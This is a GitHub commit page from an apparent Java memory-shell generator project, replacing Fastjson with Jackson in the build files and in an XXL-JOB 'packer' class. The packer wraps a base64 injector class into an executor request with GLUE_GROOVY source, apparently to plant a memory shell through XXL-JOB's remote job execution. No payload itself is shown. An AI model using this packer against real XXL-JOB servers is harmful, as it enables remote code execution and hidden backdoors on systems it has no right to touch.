Skip to content

Commit 9200e62

Browse files
committed
refactor: use Jackson not Fastjson for smaller jar size
1 parent d324284 commit 9200e62

File tree

3 files changed

+24
-17
lines changed

3 files changed

+24
-17
lines changed

generator/build.gradle

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -50,7 +50,7 @@ dependencies {
5050
implementation 'org.apache.commons:commons-lang3'
5151
implementation 'com.squareup.okhttp3:okhttp'
5252
implementation 'ch.qos.logback:logback-classic'
53-
implementation 'com.alibaba.fastjson2:fastjson2'
53+
implementation 'com.fasterxml.jackson.core:jackson-databind'
5454

5555
implementation 'org.springframework:spring-webmvc'
5656
implementation 'org.springframework:spring-webflux'
Lines changed: 22 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -1,12 +1,15 @@
11
package com.reajason.javaweb.memshell.packer;
22

3-
import com.alibaba.fastjson2.JSONObject;
4-
import com.alibaba.fastjson2.JSONWriter;
3+
import com.fasterxml.jackson.databind.ObjectMapper;
4+
import com.fasterxml.jackson.databind.SerializationFeature;
55
import com.reajason.javaweb.memshell.config.GenerateResult;
6+
import lombok.SneakyThrows;
67
import org.apache.commons.io.IOUtils;
78

89
import java.io.IOException;
910
import java.nio.charset.Charset;
11+
import java.util.HashMap;
12+
import java.util.Map;
1013
import java.util.Objects;
1114

1215
/**
@@ -25,23 +28,26 @@ public XxlJobPacker() {
2528
}
2629

2730
@Override
31+
@SneakyThrows
2832
public String pack(GenerateResult generateResult) {
2933
String source = template
3034
.replace("{{base64Str}}", generateResult.getInjectorBytesBase64Str())
3135
.replace("{{className}}", generateResult.getInjectorClassName());
32-
JSONObject jsonObject = new JSONObject();
33-
jsonObject.put("jobId", 1);
34-
jsonObject.put("executorHandler", "demoJobHandler");
35-
jsonObject.put("executorParams", "demoJobHandler");
36-
jsonObject.put("executorBlockStrategy", "COVER_EARLY");
37-
jsonObject.put("executorTimeout", 0);
38-
jsonObject.put("logId", 1);
39-
jsonObject.put("logDateTime", System.currentTimeMillis());
40-
jsonObject.put("glueType", "GLUE_GROOVY");
41-
jsonObject.put("glueSource", source);
42-
jsonObject.put("glueUpdatetime", System.currentTimeMillis());
43-
jsonObject.put("broadcastIndex", 0);
44-
jsonObject.put("broadcastTotal", 0);
45-
return JSONObject.toJSONString(jsonObject, JSONWriter.Feature.PrettyFormat);
36+
Map<String, Object> map = new HashMap<>();
37+
map.put("jobId", 1);
38+
map.put("executorHandler", "demoJobHandler");
39+
map.put("executorParams", "demoJobHandler");
40+
map.put("executorBlockStrategy", "COVER_EARLY");
41+
map.put("executorTimeout", 0);
42+
map.put("logId", 1);
43+
map.put("logDateTime", System.currentTimeMillis());
44+
map.put("glueType", "GLUE_GROOVY");
45+
map.put("glueSource", source);
46+
map.put("glueUpdatetime", System.currentTimeMillis());
47+
map.put("broadcastIndex", 0);
48+
map.put("broadcastTotal", 0);
49+
ObjectMapper objectMapper = new ObjectMapper();
50+
objectMapper.enable(SerializationFeature.INDENT_OUTPUT); // 美化输出
51+
return objectMapper.writeValueAsString(map);
4652
}
4753
}

memshell-party-bom/build.gradle

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -29,6 +29,7 @@ dependencies {
2929
api 'org.java-websocket:Java-WebSocket:1.5.7'
3030
api 'com.squareup.okhttp3:okhttp:4.12.0'
3131
api 'com.alibaba.fastjson2:fastjson2:2.0.53'
32+
api 'com.fasterxml.jackson.core:jackson-databind:2.18.3'
3233

3334
api 'org.jetbrains:annotations:26.0.1'
3435

0 commit comments

Comments
 (0)